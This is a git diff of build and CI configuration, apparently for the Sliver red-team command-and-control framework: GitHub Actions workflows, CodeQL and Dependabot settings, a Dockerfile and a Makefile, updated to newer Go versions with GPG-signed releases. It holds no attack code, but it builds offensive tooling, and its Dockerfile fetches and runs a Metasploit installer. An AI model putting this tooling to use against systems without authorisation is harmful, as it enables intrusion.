|
|
f79a2892b7 | ||
|
|
b86e49d341 | ||
|
|
8e6a8035b2 | ||
|
|
0a8d4cb517 | ||
|
|
e098e3ec08 | ||
|
|
a89e52548d | ||
|
|
fe873b8d8e | ||
|
|
d0af0f5534 | ||
|
|
3cc982068a | ||
|
|
1073dedf10 | ||
|
|
e42e6be266 | ||
|
|
e43622606f | ||
|
|
59c642143d | ||
|
|
8f01ab216d | ||
|
|
062f89e768 | ||
|
|
03b470aec7 | ||
|
|
a74d6f6250 | ||
|
|
4f62f16a1d | ||
|
|
d4ec2203cb | ||
|
|
8309e7af14 | ||
|
|
68a270581f | ||
|
|
5e222411c8 | ||
|
|
727a40bc35 | ||
|
|
2038fbcfa3 | ||
|
|
9a5a3d161a | ||
|
|
4b4e7c82f2 | ||
|
|
2844ef91d3 | ||
|
|
cffbae3da7 | ||
|
|
35fa3c95b8 | ||
|
|
53afb01366 | ||
|
|
33401dcd18 | ||
|
|
f4fcbd9cdf | ||
|
|
3c864311fa | ||
|
|
6db7c42d47 | ||
|
|
004047308f | ||
|
|
ca0fd1e7be | ||
|
|
204f013c5d | ||
|
|
ac33916348 | ||
|
|
75b96fbc29 | ||
|
|
07bfb1735e | ||
|
|
ea20b344ce | ||
|
|
98c1ac9547 | ||
|
|
439c88ce78 | ||
|
|
461aa255ca | ||
|
|
076e34dd02 | ||
|
|
ae517d1d34 | ||
|
|
d34541a3d4 | ||
|
|
db7adc172d | ||
|
|
2f520931f8 | ||
|
|
707ce345c7 | ||
|
|
fcae20f92a | ||
|
|
d09c1fd086 | ||
|
|
98f510abf4 | ||
|
|
f2aa7b45c8 | ||
|
|
01a0bfc9cf | ||
|
|
0cef6749b5 | ||
|
|
2b286ae3cf | ||
|
|
ee7d36dfed | ||
|
|
7d793841f9 | ||
|
|
fc61b82de2 | ||
|
|
c91c724912 | ||
|
|
46d81fefa1 | ||
|
|
23da56f5f9 | ||
|
|
4a8397374e | ||
|
|
359224a43e | ||
|
|
8a2d087039 | ||
|
|
aa50e9c874 | ||
|
|
646ef4273a | ||
|
|
34738d2337 | ||
|
|
de31135fa5 | ||
|
|
8bc39cc231 | ||
|
|
f71a066ffc | ||
|
|
4b2b80b2f8 | ||
|
|
41669ed41f | ||
|
|
cdfee6510e | ||
|
|
3826ca851e | ||
|
|
d2d7637b7d | ||
|
|
e907878674 | ||
|
|
21b7842bbf | ||
|
|
b1ad4ada9e | ||
|
|
cf0b9766f7 | ||
|
|
c4b096f867 | ||
|
|
295c7cb5a0 | ||
|
|
6d8d80970e | ||
|
|
925e5dfee7 | ||
|
|
1885dc5ee3 | ||
|
|
1f694bda41 | ||
|
|
53a35e4727 | ||
|
|
082dd94ea5 | ||
|
|
e71d142d86 | ||
|
|
260f4d4d75 | ||
|
|
05b663ee8a | ||
|
|
c78a99a58f | ||
|
|
c874565177 | ||
|
|
57d36054b2 | ||
|
|
154061e93a | ||
|
|
d514872d6f | ||
|
|
30c46e85e7 | ||
|
|
87e85bfa40 | ||
|
|
f7a9040352 | ||
|
|
1756ffa2cd | ||
|
|
928faad39a | ||
|
|
34f28b15bc | ||
|
|
95ba042198 | ||
|
|
80375092fe | ||
|
|
271d50d65c | ||
|
|
752efb0ed8 | ||
|
|
657831f0c0 | ||
|
|
6382dcabc4 | ||
|
|
31efd2afb1 | ||
|
|
1d2e76ba47 | ||
|
|
ec1339e766 | ||
|
|
9ba2d4cdfb | ||
|
|
b452d42314 | ||
|
|
8e9f6a874c | ||
|
|
d0f51d7792 | ||
|
|
ce1d2a2c55 | ||
|
|
6965958097 | ||
|
|
eb8d1bdf11 | ||
|
|
6e5797670d | ||
|
|
c1eeb532e3 | ||
|
|
c7c8027091 | ||
|
|
ce27108c1a | ||
|
|
235fb87842 | ||
|
|
a0d71f4fe8 | ||
|
|
0502f82967 | ||
|
|
2553772ec0 | ||
|
|
406a10d639 | ||
|
|
92b2d2464c |
No files matched your search
@@ -0,0 +1 @@
|
||||
* @BishopFox/red-team
|
||||
@@ -5,4 +5,4 @@ queries:
|
||||
uses: security-extended
|
||||
paths:
|
||||
- server
|
||||
- implant
|
||||
- client
|
||||
@@ -0,0 +1,16 @@
|
||||
# Basic set up for three package managers
|
||||
|
||||
version: 2
|
||||
updates:
|
||||
|
||||
# Maintain dependencies for GitHub Actions
|
||||
- package-ecosystem: "github-actions"
|
||||
directory: "/"
|
||||
schedule:
|
||||
interval: "weekly"
|
||||
|
||||
# Maintain dependencies for go
|
||||
- package-ecosystem: "gomod"
|
||||
directory: "/"
|
||||
schedule:
|
||||
interval: "weekly"
|
||||
+102
-100
@@ -3,54 +3,58 @@ name: Release
|
||||
on:
|
||||
push:
|
||||
tags: ["v[1-9]+.[0-9]+.[0-9]+"]
|
||||
branches: [master]
|
||||
branches: ["master", "v1.5.x/master"]
|
||||
|
||||
jobs:
|
||||
|
||||
linux-windows-build:
|
||||
name: Linux & Windows Build
|
||||
if: startsWith( github.ref, 'refs/tags/v')
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
- name: Go 1.20
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "^1.20"
|
||||
|
||||
- name: Go 1.17
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.17'
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
sudo apt-get update --fix-missing && sudo apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
|
||||
- name: OS Packages
|
||||
run: |
|
||||
sudo apt-get update --fix-missing && sudo apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v2
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
|
||||
- name: Make
|
||||
run: export PATH=/home/runner/go/bin/:$PATH && make linux
|
||||
|
||||
- name: Linux Artifacts
|
||||
uses: actions/upload-artifact@v2
|
||||
with:
|
||||
name: linux
|
||||
path: ./sliver-*
|
||||
- name: Make
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _linux
|
||||
run: export PATH=/home/runner/go/bin/:$PATH && make linux
|
||||
|
||||
- name: Make Windows
|
||||
run: export PATH=/home/runner/go/bin/:$PATH && make windows
|
||||
- name: Linux Artifacts
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: linux
|
||||
path: ./sliver-*
|
||||
|
||||
- name: Windows Artifacts
|
||||
uses: actions/upload-artifact@v2
|
||||
with:
|
||||
name: windows
|
||||
path: ./sliver-*
|
||||
- name: Make Windows
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _windows
|
||||
run: |
|
||||
make clean
|
||||
export PATH=/home/runner/go/bin/:$PATH && make windows
|
||||
|
||||
- name: Windows Artifacts
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: windows
|
||||
path: ./sliver-*
|
||||
|
||||
macos-build:
|
||||
name: MacOS Build
|
||||
@@ -58,38 +62,40 @@ jobs:
|
||||
runs-on: macos-latest
|
||||
timeout-minutes: 45
|
||||
steps:
|
||||
- name: Go 1.20
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "^1.20"
|
||||
|
||||
- name: Go 1.17
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.17'
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v2
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
- name: Make AMD64
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _macos
|
||||
run: make macos
|
||||
|
||||
- name: Make AMD64
|
||||
run: make macos
|
||||
|
||||
# - name: Make ARM64
|
||||
# run: make macos-arm64
|
||||
- name: Make ARM64
|
||||
env:
|
||||
ARTIFACT_SUFFIX: _macos-arm64
|
||||
run: make macos-arm64
|
||||
|
||||
- name: MacOS Artifacts
|
||||
uses: actions/upload-artifact@v2
|
||||
with:
|
||||
name: macos
|
||||
path: ./sliver-*
|
||||
- name: MacOS Artifacts
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: macos
|
||||
path: ./sliver-*
|
||||
|
||||
tagged-release:
|
||||
|
||||
needs: [linux-windows-build, macos-build]
|
||||
|
||||
name: "Tagged Release"
|
||||
@@ -98,54 +104,50 @@ jobs:
|
||||
timeout-minutes: 45
|
||||
|
||||
steps:
|
||||
- run: mkdir -p ./release && mkdir -p ./artifacts
|
||||
- uses: actions/download-artifact@v2
|
||||
with:
|
||||
path: ./artifacts
|
||||
- run: mkdir -p ./builds
|
||||
- uses: actions/download-artifact@v3
|
||||
with:
|
||||
path: ./builds
|
||||
|
||||
- id: install-secret-key
|
||||
name: GPG Key(s)
|
||||
run: |
|
||||
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
|
||||
gpg --list-secret-keys --keyid-format LONG
|
||||
- name: Extract Artifacts
|
||||
run: |
|
||||
mkdir -p ./artifacts
|
||||
cp ./builds/linux/* ./artifacts
|
||||
cp ./builds/windows/* ./artifacts
|
||||
cp ./builds/macos/* ./artifacts
|
||||
|
||||
- name: Release
|
||||
run: mkdir -p ./release
|
||||
- id: install-secret-key
|
||||
name: GPG Key(s)
|
||||
run: |
|
||||
cat <(echo -e "${{ secrets.SLIVER_GPG }}") | gpg --batch --import
|
||||
gpg --list-secret-keys --keyid-format LONG
|
||||
|
||||
# Linux
|
||||
- name: Linux AMD64
|
||||
run: |
|
||||
zip -j ./release/sliver-server_linux.zip ./artifacts/linux/sliver-server
|
||||
zip -j ./release/sliver-client_linux.zip ./artifacts/linux/sliver-client
|
||||
gpg --default-key 4449039C --output ./release/sliver-server_linux.zip.sig --detach-sig ./release/sliver-server_linux.zip
|
||||
gpg --default-key 4449039C --output ./release/sliver-client_linux.zip.sig --detach-sig ./release/sliver-client_linux.zip
|
||||
# Linux
|
||||
- name: Linux AMD64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_linux.sig --detach-sig ./artifacts/sliver-server_linux
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_linux.sig --detach-sig ./artifacts/sliver-client_linux
|
||||
|
||||
# Windows
|
||||
- name: Windows AMD64
|
||||
run: |
|
||||
zip -j ./release/sliver-server_windows.zip ./artifacts/windows/sliver-server.exe
|
||||
zip -j ./release/sliver-client_windows.zip ./artifacts/windows/sliver-client.exe
|
||||
gpg --default-key 4449039C --output ./release/sliver-server_windows.zip.sig --detach-sig ./release/sliver-server_windows.zip
|
||||
gpg --default-key 4449039C --output ./release/sliver-client_windows.zip.sig --detach-sig ./release/sliver-client_windows.zip
|
||||
# Windows
|
||||
- name: Windows AMD64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_windows.sig --detach-sig ./artifacts/sliver-server_windows.exe
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_windows.sig --detach-sig ./artifacts/sliver-client_windows.exe
|
||||
|
||||
# MacOS AMD64
|
||||
- name: MacOS AMD64
|
||||
run: |
|
||||
zip -j ./release/sliver-server_macos.zip ./artifacts/macos/sliver-server
|
||||
zip -j ./release/sliver-client_macos.zip ./artifacts/macos/sliver-client
|
||||
gpg --default-key 4449039C --output ./release/sliver-server_macos.zip.sig --detach-sig ./release/sliver-server_macos.zip
|
||||
gpg --default-key 4449039C --output ./release/sliver-client_macos.zip.sig --detach-sig ./release/sliver-client_macos.zip
|
||||
# MacOS AMD64
|
||||
- name: MacOS AMD64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos.sig --detach-sig ./artifacts/sliver-server_macos
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos.sig --detach-sig ./artifacts/sliver-client_macos
|
||||
|
||||
# MacOS ARM64
|
||||
# - name: Package MacOS ARM64
|
||||
# run: |
|
||||
# zip -j ./release/sliver-server_macos-arm64.zip ./artifacts/macos/sliver-server_arm64
|
||||
# zip -j ./release/sliver-client_macos-arm64.zip ./artifacts/macos/sliver-client_arm64
|
||||
# MacOS ARM64
|
||||
- name: Package MacOS ARM64
|
||||
run: |
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-server_macos-arm64.sig --detach-sig ./artifacts/sliver-server_macos-arm64
|
||||
gpg --default-key 4449039C --output ./artifacts/sliver-client_macos-arm64.sig --detach-sig ./artifacts/sliver-client_macos-arm64
|
||||
|
||||
- name: "Publish Release"
|
||||
uses: "marvinpinto/action-automatic-releases@latest"
|
||||
with:
|
||||
repo_token: "${{ secrets.GITHUB_TOKEN }}"
|
||||
prerelease: false
|
||||
files: |
|
||||
./release/*
|
||||
- name: "Publish Release"
|
||||
uses: "bishopfox/action-gh-release@v1"
|
||||
with:
|
||||
files: |
|
||||
./artifacts/*
|
||||
@@ -4,26 +4,25 @@ on:
|
||||
push:
|
||||
branches:
|
||||
- test/*
|
||||
# pull_request:
|
||||
# branches:
|
||||
# - master
|
||||
pull_request:
|
||||
branches:
|
||||
- master
|
||||
|
||||
jobs:
|
||||
CodeQL-Build:
|
||||
name: CodeQL Security Scan
|
||||
# CodeQL runs on ubuntu-latest, windows-latest, and macos-latest
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 45
|
||||
timeout-minutes: 90
|
||||
|
||||
steps:
|
||||
# Setup go environment
|
||||
- name: Go 1.17
|
||||
uses: actions/setup-go@v2
|
||||
- name: Go 1.20
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "^1.17"
|
||||
go-version: "^1.20"
|
||||
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v2
|
||||
uses: actions/checkout@v3
|
||||
with:
|
||||
# Must fetch at least the immediate parents so that if this is
|
||||
# a pull request then we can checkout the head of the pull request.
|
||||
@@ -37,32 +36,15 @@ jobs:
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64
|
||||
|
||||
- name: Protoc
|
||||
env:
|
||||
PROTOC_VER: 3.11.4
|
||||
run: |
|
||||
wget -O protoc-${PROTOC_VER}-linux-x86_64.zip https://github.com/protocolbuffers/protobuf/releases/download/v${PROTOC_VER}/protoc-${PROTOC_VER}-linux-x86_64.zip \
|
||||
&& unzip protoc-${PROTOC_VER}-linux-x86_64.zip \
|
||||
&& sudo cp -vv ./bin/protoc /usr/local/bin/protoc
|
||||
|
||||
- name: Protoc-gen-go
|
||||
env:
|
||||
PROTOC_GEN_GO_VER: 1.3.5
|
||||
run: |
|
||||
wget -O protoc-gen-go.tar.gz https://github.com/golang/protobuf/archive/v${PROTOC_GEN_GO_VER}.tar.gz \
|
||||
&& tar xvf protoc-gen-go.tar.gz \
|
||||
&& cd protobuf-${PROTOC_GEN_GO_VER} \
|
||||
&& make install
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v2
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
|
||||
# Initializes the CodeQL tools for scanning.
|
||||
- name: Initialize CodeQL
|
||||
uses: github/codeql-action/init@v1
|
||||
uses: github/codeql-action/init@v2
|
||||
with:
|
||||
config-file: ./.github/codeql/codeql-config.yml
|
||||
languages: go
|
||||
@@ -72,6 +54,6 @@ jobs:
|
||||
make
|
||||
|
||||
- name: Perform CodeQL Analysis
|
||||
uses: github/codeql-action/analyze@v1
|
||||
uses: github/codeql-action/analyze@v2
|
||||
env:
|
||||
VERSION: ${{github.sha}}
|
||||
+48
-49
@@ -1,77 +1,76 @@
|
||||
name: Build & Test
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- test/*
|
||||
pull_request:
|
||||
branches:
|
||||
- master
|
||||
types:
|
||||
- opened
|
||||
- reopened
|
||||
- synchronize
|
||||
- ready_for_review
|
||||
|
||||
jobs:
|
||||
|
||||
linux-windows-build:
|
||||
name: Linux & Windows Build
|
||||
runs-on: ubuntu-latest
|
||||
timeout-minutes: 45
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
- name: Go 1.20
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "1.20.2"
|
||||
|
||||
- name: Go 1.17
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.17'
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
sudo apt-get update --fix-missing && sudo apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
|
||||
- name: OS Packages
|
||||
run: |
|
||||
sudo apt-get update --fix-missing && sudo apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev wget zip unzip \
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v2
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
|
||||
- name: Make
|
||||
run: make linux
|
||||
- name: Make
|
||||
run: make linux
|
||||
|
||||
- name: Test
|
||||
run: ./sliver-server unpack --force && ./go-tests.sh
|
||||
- name: Test
|
||||
run: ./sliver-server unpack --force && ./go-tests.sh
|
||||
|
||||
- name: Make Windows
|
||||
run: make windows
|
||||
|
||||
- name: Make Windows
|
||||
run: make windows
|
||||
|
||||
macos-build:
|
||||
name: MacOS Build
|
||||
runs-on: macos-latest
|
||||
timeout-minutes: 45
|
||||
timeout-minutes: 90
|
||||
steps:
|
||||
- name: Go 1.20
|
||||
uses: actions/setup-go@v4
|
||||
with:
|
||||
go-version: "1.20.2"
|
||||
|
||||
- name: Go 1.17
|
||||
uses: actions/setup-go@v2
|
||||
with:
|
||||
go-version: '^1.17'
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v2
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
- name: Make
|
||||
run: make macos
|
||||
|
||||
- name: Make
|
||||
run: make macos
|
||||
|
||||
- name: Test
|
||||
env:
|
||||
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
|
||||
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
|
||||
run: ./sliver-server unpack --force && ./go-tests.sh
|
||||
- name: Test
|
||||
env:
|
||||
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
|
||||
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
|
||||
run: ./sliver-server unpack --force && ./go-tests.sh
|
||||
@@ -40,3 +40,8 @@ sliver-server-windows.zip
|
||||
.glide/
|
||||
|
||||
.DS_Store
|
||||
|
||||
dist/
|
||||
|
||||
# Flag to show that go-assets.sh has been run
|
||||
.downloaded_assets
|
||||
+17
-20
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.17.6
|
||||
FROM golang:1.20.4
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
@@ -6,22 +6,22 @@ FROM golang:1.17.6
|
||||
# a Docker deployment this is probably a good place to start.
|
||||
#
|
||||
|
||||
ENV PROTOC_VER 3.17.1
|
||||
ENV PROTOC_GEN_GO_VER v1.26.0
|
||||
ENV GRPC_GO v1.1.0
|
||||
ENV PROTOC_VER 21.12
|
||||
ENV PROTOC_GEN_GO_VER v1.27.1
|
||||
ENV GRPC_GO v1.2.0
|
||||
|
||||
# Base packages
|
||||
RUN apt-get update --fix-missing && apt-get -y install \
|
||||
git build-essential zlib1g zlib1g-dev \
|
||||
libxml2 libxml2-dev libxslt-dev locate curl \
|
||||
libreadline6-dev libcurl4-openssl-dev git-core \
|
||||
libssl-dev libyaml-dev openssl autoconf libtool \
|
||||
ncurses-dev bison curl wget xsel postgresql \
|
||||
postgresql-contrib postgresql-client libpq-dev \
|
||||
libapr1 libaprutil1 libsvn1 \
|
||||
libpcap-dev libsqlite3-dev libgmp3-dev \
|
||||
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
|
||||
nasm gcc-multilib
|
||||
git build-essential zlib1g zlib1g-dev \
|
||||
libxml2 libxml2-dev libxslt-dev locate curl \
|
||||
libreadline6-dev libcurl4-openssl-dev git-core \
|
||||
libssl-dev libyaml-dev openssl autoconf libtool \
|
||||
ncurses-dev bison curl wget xsel postgresql \
|
||||
postgresql-contrib postgresql-client libpq-dev \
|
||||
libapr1 libaprutil1 libsvn1 \
|
||||
libpcap-dev libsqlite3-dev libgmp3-dev \
|
||||
zip unzip mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
|
||||
nasm gcc-multilib
|
||||
|
||||
#
|
||||
# > User
|
||||
@@ -33,8 +33,8 @@ RUN mkdir -p /home/sliver/ && chown -R sliver:sliver /home/sliver
|
||||
# > Metasploit
|
||||
#
|
||||
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
|
||||
&& chmod 755 msfinstall \
|
||||
&& ./msfinstall
|
||||
&& chmod 755 msfinstall \
|
||||
&& ./msfinstall
|
||||
RUN mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete \
|
||||
&& su -l sliver -c 'mkdir -p ~/.msf4/ && touch ~/.msf4/initial_setup_complete'
|
||||
|
||||
@@ -52,11 +52,8 @@ RUN go install google.golang.org/protobuf/cmd/protoc-gen-go@${PROTOC_GEN_GO_VER}
|
||||
|
||||
# Go assets
|
||||
WORKDIR /go/src/github.com/bishopfox/sliver
|
||||
ADD ./go-assets.sh /go/src/github.com/bishopfox/sliver/go-assets.sh
|
||||
RUN ./go-assets.sh
|
||||
|
||||
# Compile sliver server
|
||||
ADD . /go/src/github.com/bishopfox/sliver/
|
||||
RUN make clean-all
|
||||
RUN make \
|
||||
&& cp -vv sliver-server /opt/sliver-server \
|
||||
&& /opt/sliver-server unpack --force
|
||||
|
||||
@@ -3,8 +3,9 @@
|
||||
#
|
||||
|
||||
GO ?= go
|
||||
ARTIFACT_SUFFIX ?=
|
||||
ENV =
|
||||
TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
|
||||
TAGS ?= -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
|
||||
|
||||
|
||||
#
|
||||
@@ -22,16 +23,16 @@ GO_VERSION = $(shell $(GO) version)
|
||||
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
|
||||
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
|
||||
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
|
||||
MIN_SUPPORTED_GO_MINOR_VERSION = 17
|
||||
MIN_SUPPORTED_GO_MINOR_VERSION = 18
|
||||
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
|
||||
|
||||
VERSION ?= $(shell git describe --abbrev=0)
|
||||
COMPILED_AT = $(shell date +%s)
|
||||
RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
|
||||
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
|
||||
ARMORY_PUB_KEY = RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
|
||||
ARMORY_REPO_URL = https://api.github.com/repos/sliverarmory/armory/releases
|
||||
RELEASES_URL ?= https://api.github.com/repos/BishopFox/sliver/releases
|
||||
ARMORY_PUB_KEY ?= RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
|
||||
ARMORY_REPO_URL ?= https://api.github.com/repos/sliverarmory/armory/releases
|
||||
VERSION_PKG = github.com/bishopfox/sliver/client/version
|
||||
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
|
||||
|
||||
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
|
||||
GIT_COMMIT = $(shell git rev-parse HEAD)
|
||||
@@ -46,6 +47,15 @@ LDFLAGS = -ldflags "-s -w \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
|
||||
# Debug builds can't be stripped (-s -w flags)
|
||||
LDFLAGS_DEBUG = -ldflags "-X $(VERSION_PKG).Version=$(VERSION) \
|
||||
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
|
||||
SED_INPLACE := sed -i
|
||||
STATIC_TARGET := linux
|
||||
@@ -76,8 +86,12 @@ ifeq ($(UNAME_S),Darwin)
|
||||
SED_INPLACE := sed -i ''
|
||||
STATIC_TARGET := macos
|
||||
endif
|
||||
|
||||
# If no target is specified, determine GOARCH
|
||||
ifeq ($(UNAME_P),arm)
|
||||
ENV += GOARCH=arm64
|
||||
ifeq ($(MAKECMDGOALS), )
|
||||
ENV += GOARCH=arm64
|
||||
endif
|
||||
endif
|
||||
|
||||
ifeq ($(MAKECMDGOALS), linux)
|
||||
@@ -89,36 +103,49 @@ ifeq ($(MAKECMDGOALS), linux)
|
||||
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY)"
|
||||
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
endif
|
||||
|
||||
ifeq ($(MAKECMDGOALS), linux-arm64)
|
||||
# Redefine TAGS/ENV to use pure go sqlite3
|
||||
TAGS = -tags osusergo,netgo,gosqlite
|
||||
ENV = CGO_ENABLED=0
|
||||
endif
|
||||
|
||||
#
|
||||
# Targets
|
||||
#
|
||||
.PHONY: default
|
||||
default: clean validate-go-version
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
default: clean .downloaded_assets validate-go-version
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: macos
|
||||
macos: clean validate-go-version
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
macos: clean .downloaded_assets validate-go-version
|
||||
